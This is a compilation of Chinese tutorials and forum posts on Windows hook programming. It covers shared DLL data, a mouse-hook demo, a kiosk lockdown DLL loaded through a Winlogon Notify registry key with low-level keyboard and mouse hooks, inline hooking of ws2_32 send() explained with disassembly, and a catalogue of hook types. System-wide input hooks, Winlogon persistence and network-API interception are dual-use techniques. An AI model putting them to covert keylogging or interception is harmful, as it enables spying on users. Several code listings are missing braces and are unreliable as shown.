BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID
lpvReserved);其中,第一个参数表示 DLL 的实例句柄;第三个参数系统保留;第二个参数
指明了当前调用该动态连接库的状态,它有四个可能的值:DLL_PROCESS_ATTACH(进
程载入)、DLL_THREAD_ATTACH(线程载入)、DLL_THREAD_DETACH(线程卸载)、
DLL_PROCESS_DETACH(进程卸载)。在 DLLMain 函数中可以通过对传递进来的这个参
数的值进行判别,根据不同的参数值对 DLL 进行必要的初始化或清理工作。由于在 Win32
环境下,所有进程的空间都是相互独立的,这减少了应用程序间的相互影响,但大大增加了
编程的难度。当进程在动态加载 DLL 时,系统自动把 DLL 地址映射到该进程的私有空间,
而且也复制该 DLL 的全局数据的一份拷贝到该进程空间,每个进程所拥有的相同的 DLL 的
全局数据其值却并不一定是相同的。当 DLL 内存被映射到进程空间中,每个进程都有自己
的全局内存拷贝,加载 DLL 的每一个新的进程都重新初始化这一内存区域,也就是说进程
不能再共享 DLL。因此,在 Win32 环境下要想在多个进程中共享数据,就必须进行必要的
设置。一种方法便是把这些需要共享的数据单独分离出来,放置在一个独立的数据段里,并
把该段的属性设置为共享,建立一个内存共享的 DLL。  


四、全局共享数据的实现  
可以用#pragma data_seg 建立一个新的数据段并定义共享数据,其具体格式为: 
#pragma data_seg ("shareddata") 
HWND sharedwnd=NULL;//共享数据  
#pragma data_seg() 
所有在 data_seg pragmas 语句之间声明的变量都将在 shareddata 段中。仅定义一个数据
段还不能达到共享数据的目的,还要告诉编译器该段的属性,有两种方法可以实现该目的(其
效果是相同的),一种方法是在.DEF 文件中加入如下语句:  
SETCTIONS 
shareddata READ WRITE SHARED  
另一种方法是在项目设置链接选项中加入如下语句: 
/SECTION:shareddata,rws  
五、鼠标钩子程序示例 
本示例程序用到全局钩子函数,程序分两部分:可执行程序 MouseDemo 和动态连接库
MouseHook。首先编制 MFC 扩展动态连接库 MouseHook.dll: 
(一)选择 MFC AppWizard(DLL)创建项目 Mousehook; 
(二)选择 MFC Extension DLL(MFC 扩展 DLL)类型; 
(三)通过 Project 菜单的 AddToProject 子菜单的"New…"添加头文件 MouseHook.h。 
(四)在头文件中建立钩子类:  
  class AFX_EXT_CLASS CMouseHook:public CObject 
  { 
  public:  
  CMouseHook();  //钩子类的构造函数 
  ~CMouseHook();  //钩子类的析构函数 
  BOOL StartHook(HWND hWnd);   //安装钩子函数 
  BOOL StopHook();    //卸载钩子函数  
};  
(五)在 MouseHook.cpp 文件中加入#include"MouseHook.h"语句; 
(六)加入全局共享数据变量:  
  #pragma data_seg("mydata") 
  HWND glhPrevTarWnd=NULL;  //上次鼠标所指的窗口句柄  
  HWND glhDisplayWnd=NULL;  //显示目标窗口标题编辑框的句柄 
  HHOOK glhHook=NULL;   //安装的鼠标勾子句柄 
  HINSTANCE glhInstance=NULL; //DLL 实例句柄  
#pragma data_seg() 
(七)在 DEF 文件中定义段属性:  
  SECTIONS 
  mydata READ WRITE SHARED  
(八)在主文件 MouseHook.cpp 的 DllMain 函数中加入保存 DLL 实例句柄的语句: 
extern "C" int APIENTRY  
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) 

UNREFERENCED_PARAMETER(lpReserved); 
if (dwReason == DLL_PROCESS_ATTACH) 

if (!AfxInitExtensionModule(MouseHookDLL, hInstance)) 
return 0; 
new CDynLinkLibrary(MouseHookDLL);  
glhInstance=hInstance;    //插入保存 DLL 实例句柄 
}  
else if (dwReason == DLL_PROCESS_DETACH) 

AfxTermExtensionModule(MouseHookDLL); 

return 1; // ok 
}  
这个函数最重要的部分是调用 AfxInitExtensionModule(),它初始化 DLL 使它在 MFC 框架
中正确的工作。它需要传递给 DllMain()的 DLL 实例句柄和 AFX_EXTENSION_MODULE
结构,结构中存在着对 MFC 有用的信息。 
(九) 类 CMouseHook 的成员函数的具体实现:  
Cmousehook::Cmousehook() //类构造函数 
{  

Cmousehook::~Cmousehook() //类析构函数  

  stophook(); 
}  
BOOL Cmousehook::starthook(HWND hWnd)  //安装钩子并设定接收显示窗口句柄 
{  
BOOL bResult=FALSE; 
glhHook=SetWindowsHookEx(WH_MOUSE,MouseProc,glhInstance,0); 
if(glhHook!=NULL) 
bResult=TRUE;  
glhDisplayWnd=hWnd;  //设置显示目标窗口标题编辑框的句柄 
return bResult;  

BOOL Cmousehook::stophook()  //卸载钩子  

BOOL bResult=FALSE; 
if(glhHook) 

bResult= UnhookWindowsHookEx(glhHook); 
if(bResult) 

glhPrevTarWnd=NULL;  
glhDisplayWnd=NULL;//清变量 
glhHook=NULL;  


return bResult; 
}  
(十) 钩子函数的实现 
LRESULT WINAPI MouseProc(int nCode,WPARAM wparam,LPARAM lparam)  

LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *) lparam; 
if (nCode>=0) 
{  
HWND glhTargetWnd=pMouseHook->hwnd;  //取目标窗口句柄 
HWND ParentWnd=glhTargetWnd;  
while (ParentWnd !=NULL) 

glhTargetWnd=ParentWnd;  
ParentWnd=GetParent(glhTargetWnd); //取应用程序主窗口句柄 
}  
if(glhTargetWnd!=glhPrevTarWnd) 

char szCaption[100];  
GetWindowText(glhTargetWnd,szCaption,100); //取目标窗口标题 
if(IsWindow(glhDisplayWnd))  
SendMessage(glhDisplayWnd,WM_SETTEXT,0,(LPARAM)(LPCTSTR)szCaption); 
glhPrevTarWnd=glhTargetWnd;   //保存目标窗口  

}  
return CallNextHookEx(glhHook,nCode,wparam,lparam); //继续传递消息 
}  
编译完成便可得到运行时所需的鼠标钩子的动态连接库 MouseHook.dll 和链接时用到的
MouseHook.lib。 
六、集成 
下面新建一调用鼠标钩子动态连接库的钩子可执行程序: 
(一) 用 MFC 的 AppWizard(EXE)创建项目 MouseDemo; 
(二) 选择"基于对话应用",其余几步均为确省; 
(三) 在对话框上加入一个编辑框 IDC_EDIT1; 
(四) 在 MouseDemo.h 中加入对 Mousehook.h 的包含语句:#Include"Mousehook.h"; 
(五) 在 CMouseDemoDlg.h 的 CMouseDemoDlg 类定义中添加私有数据成员:
CMouseHook m_hook; 
(六) 在 OnInitDialog 函数的"TODO 注释"后添加:  
CWnd * pwnd=GetDlgItem(IDC_EDIT1);  //取得编辑框的类指针 
m_hook.StartHook(pwnd->GetSafeHwnd()); //取得编辑框的窗口句柄并安装钩子 
(七)链接 DLL 库,即把 Mousehook.lib 加入到项目设置链接标签中; 
(八)把 MouseHook.h 和 MouseHook.lib 复制到 MouseDemo 工程目录中,MouseHook.dll
复制到 Debug 目录下。编译执行程序即可。当鼠标滑过窗口时便会在编辑框中将此窗口的
标题显示出来。 
结论: 
系统钩子具有相当强大的功能,通过这种技术可以对几乎所有的 Windows 
系统消息进行拦截、监视、处理。这种技术可以广泛应用于各种软件,尤其是需要 
有监控、自动记录等对系统进行监测功能的软件。本程序只对鼠标消息进行拦截, 
相应的也可以在 Win32 环境下对键盘、端口等应用此技术完成特定的功能。 




 
触摸屏应用相关技术之二——鼠标键盘 hook 
博客分类: 
触摸屏技术 VChook  
触摸屏应用相关技术之二——鼠标键盘 hook 
 
上文提及,在系统启动过程中,到访问内容完全占据桌面的间隙,桌面直接暴露给访客,这是危险的间隙,
需要想办法解决。 
我们的应对措施是:在这段间隙中,对鼠标键盘进行完全锁定,直至访问内容全屏打开。开放鼠标左键,
允许访客交互内容。 
利用 hook,我们可以在客户端统计点击数,及长时间无人点击时自动切回内容首页。 
 
 
为此需要利用 hook 技术,并在 Winlogon 中载入。 
在注册表中登记项如下: 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\CET] 
"Asynchronous"=dword:00000000 
"Dllname"="SetHook.dll" 
"Impersonate"=dword:00000000 
"Logoff"="StopProcessAtWinLogoff" 
"Logon"="StartProcessAtWinLogon" 
 
SetHook.dll 中的关键代码如下: 
… 
//全局变量 
HHOOK hKeyBoardHook=NULL; //keyboard hook 
HHOOK hMouseHook=NULL; //mouse hook 
HWND hOutPutWnd=NULL; //Display Pass Wnd 
… 
 
//Winlogon 加载函数 
VOID APIENTRY StartProcessAtWinLogon (PWLX_NOTIFICATION_INFO pInfo) 

  //start hook 
  hThread= CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadFunc,NULL,0,&dwThreadId); 
  //get jk_path 
  getJkPath(); 

 
… 
//Winlogon 卸载函数 
VOID APIENTRY StopProcessAtWinLogoff (PWLX_NOTIFICATION_INFO pInfo) 

    //MessageBox(NULL,"系统正在注销!","Winlogon   Notification   Package",MB_OK);    

 
… 
 
//鼠标键盘 hook 
DWORD WINAPI ThreadFunc() 

    HDESK hDesk; 
 
 //_H 同一桌面上进程之间只能发送窗口消息。无法跨进程与其他桌面发送它们。 
 //_H 同样,Windows 消息是限制应用程序定义挂钩。 
 //_H 特定桌面中运行的进程挂钩过程将〈〈只获得针对同一桌面上创建窗口消息。〉〉 
 //_H 详见 http://support.microsoft.com/kb/171890/zh-cn 
 //_H 所以,这里必须设置钩子所在线程的桌面为 Default 桌面 
 //_H 才能使得钩子所在线程能接收到 Default 桌面的消息 
 hDesk = OpenDesktop("Default",0,FALSE,MAXIMUM_ALLOWED); 
 SetThreadDesktop(hDesk); 
 CloseHandle(hDesk); 
 
 
 //_H 设置低级键盘钩子,屏蔽非 SAS window 的热键 
 //_H 需要#define _WIN32_WINNT 0x0500 
  hMouseHook=SetWindowsHookEx(WH_MOUSE_LL,MouseHookProc,glhInstance,0); 
  hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD_LL,KeyBoardProc,glhInstance,0); 
 if (hMouseHook == NULL) 
 { 
  OutputDebugString("Set hook failed.."); 
  //__leave; 
  return 1; 
 } 
 OutputDebugString("钩子成功设置"); 
 
// ::ShowWindow(::FindWindow("ProgMan",NULL),SW_HIDE);    
// ::ShowWindow(::FindWindow("Shell_TrayWnd",NULL),SW_HIDE); 
//_H 在非 GUI 线程中使用消息钩子必须主动接收并分发收到的消息 
 MSG msg; 
 while(GetMessage(&msg, NULL, 0, 0)) 
 { 
  TranslateMessage(&msg); 
  DispatchMessage(&msg); 
 } 
return 1; 

 
… 
 
//取消 hook 
void CloseMe(){ 
    if(hOutPutWnd!=NULL) 
        ::SendMessage(hOutPutWnd,WM_IDLE,2,0); 
    BOOL mHook=UnhookWindowsHookEx(hMouseHook); 
    BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook); 
    TerminateThread(hThread,1); 
    CloseHandle(hThread); 
    hThread=NULL; 

 
… 
 
//向桌面程序发送鼠标消息,在此基础上可以统计点击数,及长时间无人点击自动切回内容首页 
void OnEvent(){ 
    ::SendMessage(hOutPutWnd,WM_IDLE,1,0);  

 
… 
 
//如果检查到桌面程序被强制关闭了,再启动它! 
void ShellJK(){ 
  PROCESS_INFORMATION   pi;   
  STARTUPINFO   sti;   
  ZeroMemory(&sti,sizeof(sti));   
  sti.cb=sizeof(sti);   
  sti.lpDesktop="winsta0\\default";   
  CreateProcess(jk_file,NULL,NULL,NULL,FALSE,0,NULL,jk_path, &sti,   &pi);    

 
//键盘 hook,按 Ctrl+ESC 或者 Ctrl+Space 退出 hook 
LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam) 
{ //keyboard hook proc 
    BOOL bUnlock1=FALSE; 
    BOOL bUnlock2=FALSE; 
    OnEvent(); 
    if (nCode == HC_ACTION){ 
    switch (wParam) { 
        case WM_KEYDOWN: 
        case WM_SYSKEYDOWN: 
        case WM_KEYUP:  
        case WM_SYSKEYUP: 
            PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) lParam; 
            bUnlock1=(p->vkCode == VK_ESCAPE) && ((GetKeyState(VK_CONTROL) & 0x8000) != 
0);//Ctrl+Esc 
            bUnlock2=(p->vkCode == VK_SPACE) && ((GetKeyState(VK_CONTROL) & 0x8000) != 
0);//Ctrl+Space 
        break; 
        } 
    } 
    if(bUnlock1 || bUnlock2){ 
        CloseMe(); 
    } 
    return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam); 

 
… 
 
//鼠标 hook,在 hOutPutWnd 为 NULL 前屏蔽所有事件,之后允许左键 
LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam) 
{  
    //LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam; 
    if(wParam==WM_RBUTTONDOWN | wParam==WM_RBUTTONUP  
        | wParam==WM_LBUTTONDBLCLK){ 
        return TRUE; 
    } 
    if(hOutPutWnd!=NULL){ 
        if(wParam==WM_LBUTTONDOWN && nCode>=0){ 
            if(!IsWindow(hOutPutWnd)){ 
                ShellJK(); 
                return TRUE; 
            } 
            OnEvent(); 
        } 
        return CallNextHookEx(hMouseHook,nCode,wParam,lParam); 
    } 
    else 
        return TRUE; 

 
… 
 
//桌面程序全屏之后通知 hook 程序其窗口句柄 
BOOL CHook::StartHook(HWND hwnd, int span, int dev) 

 
  if(hThread==NULL) 
     hThread = 
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadFunc,NULL,0,&dwThreadId); 
  hOutPutWnd=hwnd;  
    return TRUE; 





 
HOOK API 的技术 
发布时间:2009-10-18 09:12 文章来源:未知文章作者:黑白前线 点击次数: 312 次
分享到: QQ 空间 QQ 微博 新浪微博 开心网 人人网 
摘要:HOOK API 是一个永恒的话题,如果没有 HOOK,许多技术将很难实现,也许根本
不能实现。 这里所说的 API,是广义上的 API,它包括 DOS 下的中断,WINDOWS 里的
API、中断服务、IFS 和 NDIS 过滤等。比如大家熟悉的即时翻译软件,就是靠 HOOK
TextOut()或 ExtTextOut()这两个... 
HOOK API 是一个永恒的话题,如果没有 HOOK,许多技术将很难实现,也许根本不能
实现。
这里所说的 API,是广义上的 API,它包括 DOS 下的中断,WINDOWS 里的 API、中
断服务、IFS 和 NDIS 过滤等。比如大家熟悉的即时翻译软件,就是靠 HOOK TextOut()
或 ExtTextOut()这两个函数实现的,在操作系统用这两个函数输出文本之前,就把相
应的英文替换成中文而达到即时翻译;IFS 和 NDIS 过滤也是如此,在读写磁盘和收发
数据之前,系统会调用第三方提供的回调函数来判断操作是否可以放行,它与普通
HOOK 不同,它是操作系统允许的,由操作系统提供接口来安装回调函数。 


甚至如果没有 HOOK,就没有病毒,因为不管是 DOS 下的病毒或 WINDOWS 里的病
毒,都是靠 HOOK 系统服务来实现自己的功能的:DOS 下的病毒靠 HOOK INT 21 来
感染文件(文件型病毒),靠 HOOK INT 13 来感染引导扇区(引导型病毒);WINDOWS
下的病毒靠 HOOK 系统 API(包括 RING0 层的和 RING3 层的),或者安装 IFS(CIH
病毒所用的方法)来感染文件。因此可以说“没有 HOOK,就没有今天多姿多彩的软件
世界”。 
由于涉及到专利和知识产权,或者是商业机密,微软一直不提倡大家 HOOK 它的系统
API,提供 IFS 和 NDIS 等其他过滤接口,也是为了适应杀毒软件和防火墙的需要才开
放的。所以在
大多数时候,HOOK API 要靠自己的力量来完成。 
HOOK API 有一个原则,这个原则就是:被 HOOK 的 API 的原有功能不能受到任何影
响。就象医生救人,如果把病人身体里的病毒杀死了,病人也死了,那么这个“救人”就
没有任何意义了。
如果你 HOOK API 之后,你的目的达到了,但 API 的原有功能失效了,这样不是 HOOK,
而是 REPLACE,操作系统的正常功能就会受到影响,甚至会崩溃。 
HOOK API 的技术,说起来也不复杂,就是改变程序流程的技术。在 CPU 的指令里,
有几条指令可以改变程序的流程:JMP,CALL,INT,RET,RETF,IRET 等指令。理
论上只要改变 API 入口和出口的任何机器码,都可以 HOOK,但是实际实现起来要复杂
很多,因为要处理好以下问题:
1,CPU 指令长度问题,在 32 位系统里,一条 JMP/CALL 指令的长度是 5 个字节,因
此你只有替换 API 里超过 5 个字节长度的机器码(或者替换几条指令长度加起来是 5 字
节的指令),否则会影响被更
改的小于 5 个字节的机器码后面的数条指令,甚至程序流程会被打乱,产生不可预料的
后果;
2,参数问题,为了访问原 API 的参数,你要通过 EBP 或 ESP 来引用参数,因此你要
非常清楚你的 HOOK 代码里此时的 EBP/ESP 的值是多少;
3,时机的问题,有些 HOOK 必须在 API 的开头,有些必须在 API 的尾部,比如 HOOK
CreateFilaA(),如果你在 API 尾部 HOOK API,那么此时你就不能写文件,甚至不能
访问文件;HOOK RECV(),如果你在 API 头 HOOK,此时还没有收到数据,你就去查
看 RECV()的接收缓冲区,里面当然没有你想要的数据,必须等 RECV()正常执行后,
在 RECV()的尾部 HOOK,此时去查看 RECV()的缓冲区,里面才有想要的数据;
4,上下文的问题,有些 HOOK 代码不能执行某些操作,否则会破坏原 API 的上下文,
原 API 就失效了;
5,同步问题,在 HOOK 代码里尽量不使用全局变量,而使用局部变量,这样也是模块
化程序的需要;
6,最后要注意的是,被替换的 CPU 指令的原有功能一定要在 HOOK 代码的某个地方
模拟实现。 


下面以 ws2_32.dll 里的 send()为例子来说明如何 HOOK 这个函数: 
Exported fn(): send - Ord:0013h
地址 机器码 汇编代码 
:71A21AF4 55 push ebp //将被 HOOK 的机器码(第 1 种方法)
:71A21AF5 8BEC mov ebp, esp //将被 HOOK 的机器码(第 2 种方法) 
:71A21AF7 83EC10 sub esp, 00000010 
:71A21AFA 56 push esi
:71A21AFB 57 push edi
:71A21AFC 33FF xor edi, edi
:71A21AFE 813D1C20A371931CA271 cmp dword ptr [71A3201C], 
71A21C93 //将被 HOOK 的机器码(第 4 种方法)
:71A21B08 0F84853D0000 je 71A25893 
:71A21B0E 8D45F8 lea eax, dword ptr [ebp-08]
:71A21B11 50 push eax
:71A21B12 E869F7FFFF call 71A21280
:71A21B17 3BC7 cmp eax, edi
:71A21B19 8945FC mov dword ptr [ebp-04], eax
:71A21B1C 0F85C4940000 jne 71A2AFE6
:71A21B22 FF7508 push [ebp+08]
:71A21B25 E826F7FFFF call 71A21250
:71A21B2A 8BF0 mov esi, eax
:71A21B2C 3BF7 cmp esi, edi
:71A21B2E 0F84AB940000 je 71A2AFDF
:71A21B34 8B4510 mov eax, dword ptr [ebp+10]
:71A21B37 53 push ebx
:71A21B38 8D4DFC lea ecx, dword ptr [ebp-04]
:71A21B3B 51 push ecx
:71A21B3C FF75F8 push [ebp-08]
:71A21B3F 8D4D08 lea ecx, dword ptr [ebp+08]
:71A21B42 57 push edi
:71A21B43 57 push edi
:71A21B44 FF7514 push [ebp+14]
:71A21B47 8945F0 mov dword ptr [ebp-10], eax
:71A21B4A 8B450C mov eax, dword ptr [ebp+0C]
:71A21B4D 51 push ecx
:71A21B4E 6A01 push 00000001
:71A21B50 8D4DF0 lea ecx, dword ptr [ebp-10]
:71A21B53 51 push ecx
:71A21B54 FF7508 push [ebp+08]
:71A21B57 8945F4 mov dword ptr [ebp-0C], eax
:71A21B5A 8B460C mov eax, dword ptr [esi+0C]
:71A21B5D FF5064 call [eax+64]
:71A21B60 8BCE mov ecx, esi 
 
:71A21B62 8BD8 mov ebx, eax
:71A21B64 E8C7F6FFFF call 71A21230 //将被 HOOK 的机器码(第 3 种方法) 
:71A21B69 3BDF cmp ebx, edi
:71A21B6B 5B pop ebx
:71A21B6C 0F855F940000 jne 71A2AFD1
:71A21B72 8B4508 mov eax, dword ptr [ebp+08]
:71A21B75 5F pop edi
:71A21B76 5E pop esi
:71A21B77 C9 leave
:71A21B78 C21000 ret 0010 
钩子函数的学习  
[复制链接]  
  
 
ccppQt 
 
   
电梯直达 
1 楼   
发表于 2010-9-28 11:46 |只看该作者 |倒序浏览 
WINDOWS 的钩子函数可以认为是 WINDOWS 的主要特性之一。利用它们,您可
以捕捉您自己进程或其它进程发生的事件。通过“钩挂”,您可以给 WINDOWS
一个处理或过滤事件的回调函数,该函数也叫做“钩子函数”,当每次发生您感兴
趣的事件时,WINDOWS 都将调用该函数。一共有两种类型的钩子:局部的和远
程的。    
  局部钩子仅钩挂您自己进程的事件。    
  远程的钩子还可以将钩挂其它进程发生的事件。远程的钩子又有两种:    
  基于线程的   它将捕获其它进程中某一特定线程的事件。简言之,就是可以用
来观察其它进程中的某一特定线程将发生的事件。    
  系统范围的   将捕捉系统中所有进程将发生的事件消息。    
  安装钩子函数将会影响系统的性能。监测“系统范围事件”的系统钩子特别明显。
因为系统在处理所有的相关事件时都将调用您的钩子函数,这样您的系统将会
明显的减慢。所以应谨慎使用,用完后立即卸载。还有,由于您可以预先截获
其它进程的消息,所以一旦您的钩子函数出了问题的话必将影响其它的进程。
记住:功能强大也意味着使用时要负责任。  
  在正确使用钩子函数前,我们先讲解钩子函数的工作原理。当您创建一个钩子
时,WINDOWS 会先在内存中创建一个数据结构,该数据结构包含了钩子的相关
信息,然后把该结构体加到已经存在的钩子链表中去。新的钩子将加到老的前
面。当一个事件发生时,如果您安装的是一个局部钩子,您进程中的钩子函数
将被调用。如果是一个远程钩子,系统就必须把钩子函数插入到其它进程的地
址空间,要做到这一点要求钩子函数必须在一个动态链接库中,所以如果您想
要使用远程钩子,就必须把该钩子函数放到动态链接库中去。当然有两个例外:
工作日志钩子和工作日志回放钩子。这两个钩子的钩子函数必须在安装钩子的
线程中。原因是:这两个钩子是用来监控比较底层的硬件事件的,既然是记录
和回放,所有的事件就当然都是有先后次序的。所以如果把回调函数放在 DLL
中,输入的事件被放在几个线程中记录,所以我们无法保证得到正确的次序。
故解决的办法是:把钩子函数放到单个的线程中,譬如安装钩子的线程。


钩子的类型 
  一. 按事件分类,有如下的几种常用类型 
  (1) 键盘钩子和低级键盘钩子可以监视各种键盘消息。 
  (2) 鼠标钩子和低级鼠标钩子可以监视各种鼠标消息。 
  (3) 外壳钩子可以监视各种 Shell 事件消息。比如启动和关闭应用程序。 
  (4) 日志钩子可以记录从系统消息队列中取出的各种事件消息。 
  (5) 窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。 
  此外,还有一些特定事件的钩子提供给我们使用,不一一列举。 


下面描述常用的 Hook 类型: 
 
1、WH_CALLWNDPROC 和 WH_CALLWNDPROCRET Hooks 
WH_CALLWNDPROC 和 WH_CALLWNDPROCRET Hooks 使你可以监视发送到窗口过
程的消息。系统在消息发送到接收窗口过程之前调用 WH_CALLWNDPROC Hook
子程,并且在窗口过程处理完消息之后调用 WH_CALLWNDPRO 
CRET Hook 子程。WH_CALLWNDPROCRET Hook 传递指针到 CWPRETSTRUCT 结构,
再传递到 Hook 子程。CWPRETSTRUCT 结构包含了来自处理消息的窗口过程的返
回值,同样也包括了与这个消息关联的消息参数。 


2、WH_CBT Hook 
在以下事件之前,系统都会调用 WH_CBT Hook 子程,这些事件包括: 
1. 激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件; 
2. 完成系统指令; 
3. 来自系统消息队列中的移动鼠标,键盘事件; 
4. 设置输入焦点事件; 
5. 同步系统消息队列事件。 
Hook 子程的返回值确定系统是否允许或者防止这些操作中的一个。 


3、WH_DEBUG Hook 
在系统调用系统中与其他 Hook 关联的 Hook 子程之前,系统会调用 WH_DEBUG
Hook 子程。你可以使用这个 Hook 来决定是否允许系统调用与其他 Hook 关联的
Hook 子程。 


4、WH_FOREGROUNDIDLE Hook 
当应用程序的前台线程处于空闲状态时,可以使用 WH_FOREGROUNDIDLE Hook
执行低优先级的任务。当应用程序的前台线程大概要变成空闲状态时,系统就
会调用 WH_FOREGROUNDIDLE Hook 子程。 


5、WH_GETMESSAGE Hook 
应用程序使用 WH_GETMESSAGE Hook 来监视从 GetMessage or PeekMessage 函数
返回的消息。你可以使用 WH_GETMESSAGE Hook 去监视鼠标和键盘输入,以及
其他发送到消息队列中的消息。 


6、WH_JOURNALPLAYBACK Hook 
WH_JOURNALPLAYBACK Hook 使应用程序可以插入消息到系统消息队列。可以使
用这个 Hook 回放通过使用 WH_JOURNALRECORD Hook 记录下来的连续的鼠标和
键盘事件。只要 WH_JOURNALPLAYBACK Hook 已经安装,正常的鼠标和键盘事件
就是无效的。WH_JOURNALPLAYBACK Hook 是全局 Hook,它不能象线程特定 Hook
一样使用。WH_JOURNALPLAYBACK Hook 返回超时值,这个值告诉系统在处理来
自回放 Hook 当前消息之前需要等待多长时间(毫秒)。这就使 Hook 可以控制实
时事件的回放。WH_JOURNALPLAYBACK 是 system-wide local hooks,它們不會被
注射到任何行程位址空間。(估计按键精灵是用这个 hook 做的) 


7、WH_JOURNALRECORD Hook 
WH_JOURNALRECORD Hook 用来监视和记录输入事件。典型的,可以使用这个
Hook 记录连续的鼠标和键盘事件,然后通过使用 WH_JOURNALPLAYBACK Hook
来回放。WH_JOURNALRECORD Hook 是全局 Hook,它不能象线程特定 Hook 一样
使用。WH_JOURNALRECORD 是 system-wide local hooks,它們不會被注射到任何
行程位址空間。 


8、WH_KEYBOARD Hook 
在应用程序中,WH_KEYBOARD Hook 用来监视 WM_KEYDOWN and WM_KEYUP
消息,这些消息通过 GetMessage or PeekMessage function 返回。可以使用这个
Hook 来监视输入到消息队列中的键盘消息。 


9、WH_KEYBOARD_LL Hook 
WH_KEYBOARD_LL Hook 监视输入到线程消息队列中的键盘消息。 


10、WH_MOUSE Hook 
WH_MOUSE Hook 监视从 GetMessage 或者 PeekMessage 函数返回的鼠标消息。
使用这个 Hook 监视输入到消息队列中的鼠标消息。 


11、WH_MOUSE_LL Hook 
WH_MOUSE_LL Hook 监视输入到线程消息队列中的鼠标消息。 


12、WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使我们可以监视菜单,滚动条,消
息框,对话框消息并且发现用户使用 ALT+TAB or ALT+ESC 组合键切换窗口。
WH_MSGFILTER Hook 只能监视传递到菜单,滚动条,消息框的消息,以及传递
到通过安装了 Hook 子程的应用程序建立的对话框的消息。WH_SYSMSGFILTER
Hook 监视所有应用程序消息。WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使我
们可以在模式循环期间过滤消息,这等价于在主消息循环中过滤消息。通过调
用 CallMsgFilter function 可以直接的调用 WH_MSGFILTER Hook。通过使用这个函
数,应用程序能够在模式循环期间使用相同的代码去过滤消息,如同在主消息
循环里一样。 


13、WH_SHELL Hook 
外壳应用程序可以使用 WH_SHELL Hook 去接收重要的通知。当外壳应用程序是
激活的并且当顶层窗口建立或者销毁时,系统调用 WH_SHELL Hook 子程。 
WH_SHELL 共有5钟情況: 
1. 只要有个 top-level、unowned 窗口被产生、起作用、或是被摧毁; 
2. 当 Taskbar 需要重画某个按钮; 
3. 当系统需要显示关于 Taskbar 的一个程序的最小化形式; 
4. 当目前的键盘布局状态改变; 
5. 当使用者按 Ctrl+Esc 去执行 Task Manager(或相同级别的程序)。 
按照惯例,外壳应用程序都不接收 WH_SHELL 消息。所以,在应用程序能够接
收 WH_SHELL 消息之前,应用程序必须调用 SystemParametersInfo function 注册
它自己。 
 
以上是 13 种常用的 hook 类型! 


 
编写钩子程序 
 
   编写钩子程序的步骤分为三步:定义钩子函数、安装钩子和卸载钩子。 
 
  1.定义钩子函数 
  钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,系统会调
用钩子函数进行处理。不同事件的钩子函数的形式是各不相同的。下面以鼠标
钩子函数举例说明钩子函数的原型: 
LRESULT CALLBACK HookProc(int nCode ,WPARAM wParam,LPARAM lParam) 
参数 wParam 和 lParam 包含所钩消息的信息,比如鼠标位置、状态,键盘按键
等。nCode 包含有关消息本身的信息,比如是否从消息队列中移出。 
我们先在钩子函数中实现自定义的功能,然后调用函数 CallNextHookEx.把钩子
信息传递给钩子链的下一个钩子函数。CallNextHookEx.的原型如下: 
LRESULT CallNextHookEx( HHOOK hhk, int nCode, WPARAM wParam, LPARAM
lParam ) 
参数 hhk 是钩子句柄。nCode、wParam 和 lParam 是钩子函数。 
当然也可以通过直接返回 TRUE 来丢弃该消息,就阻止了该消息的传递。


2.安装钩子 
   要安装一个钩子,您可以调用 SetWindowHookEx 函数。该函数的原型如
下:    
  SetWindowsHookEx   proto   HookType:DWORD,   pHookProc:DWORD,   hInstanc
e:DWORD,   ThreadID:DWORD    
  HookType   是我们上面列出的值之一,譬如:   WH_MOUSE,   WH_KEYBOARD    
  pHookProc   是钩子函数的地址。如果使用的是远程的钩子,就必须放在一个
DLL 中,否则放在本身代码中    
  hInstance   钩子函数所在 DLL 的实例句柄。如果是一个局部的钩子,该值为
NULL    
  ThreadID   是您安装该钩子函数后想监控的线程的 ID 号。该参数可以决定该钩
子是局部的还是系统范围的。如果该值为 NULL,那么该钩子将被解释成系统范
围内的,那它就可以监控所有的进程及它们的线程。如果您指定了您自己进程
中的某个线程 ID   号,那该钩子是一个局部的钩子。如果该线程 ID 是另一个进
程中某个线程的 ID,那该钩子是一个全局的远程钩子。这里有两个特殊情况:
WH_JOURNALRECORD   和   WH_JOURNALPLAYBACK 总是代表局部的系统范围的
钩 子 , 之 所 以 说 是 局 部 , 是 因 为 它 们 没 有 必 要 放 到 一 个 DLL 中。
WH_SYSMSGFILTER   总是一个系统范围内的远程钩子。其实它和 WH_MSGFILTER
钩子类似,如果把参数 ThreadID 设成 0 的话,它们就完全一样了。    
  如果该函数调用成功的话,将在 eax 中返回钩子的句柄,否则返回 NULL。您必
须保存该句柄,因为后面我们还要它来卸载钩子。


3.卸载钩子  


要卸载一个钩子时调用 UnhookWidowHookEx 函数,该函数仅有一个参数,就是
欲卸载的钩子的句柄。如果调用成功的话,在 eax 中返回非 0 值,否则返回 NULL。  
  现在您知道了如何安装和卸载一个钩子了,接下来我们将看看钩子函数。.    
  只要您安装的钩子的消息事件类型发生,WINDOWS 就将调用钩子函数。譬如
您安装的钩子是 WH_MOUSE 类型,那么只要有一个鼠标事件发生时,该钩子函
数就会被调用。不管您安装的时那一类型钩子,钩子函数的原型都时是一样
的:     
  HookProc   proto   nCode:DWORD,   wParam:DWORD,   lParam:DWORD    
       
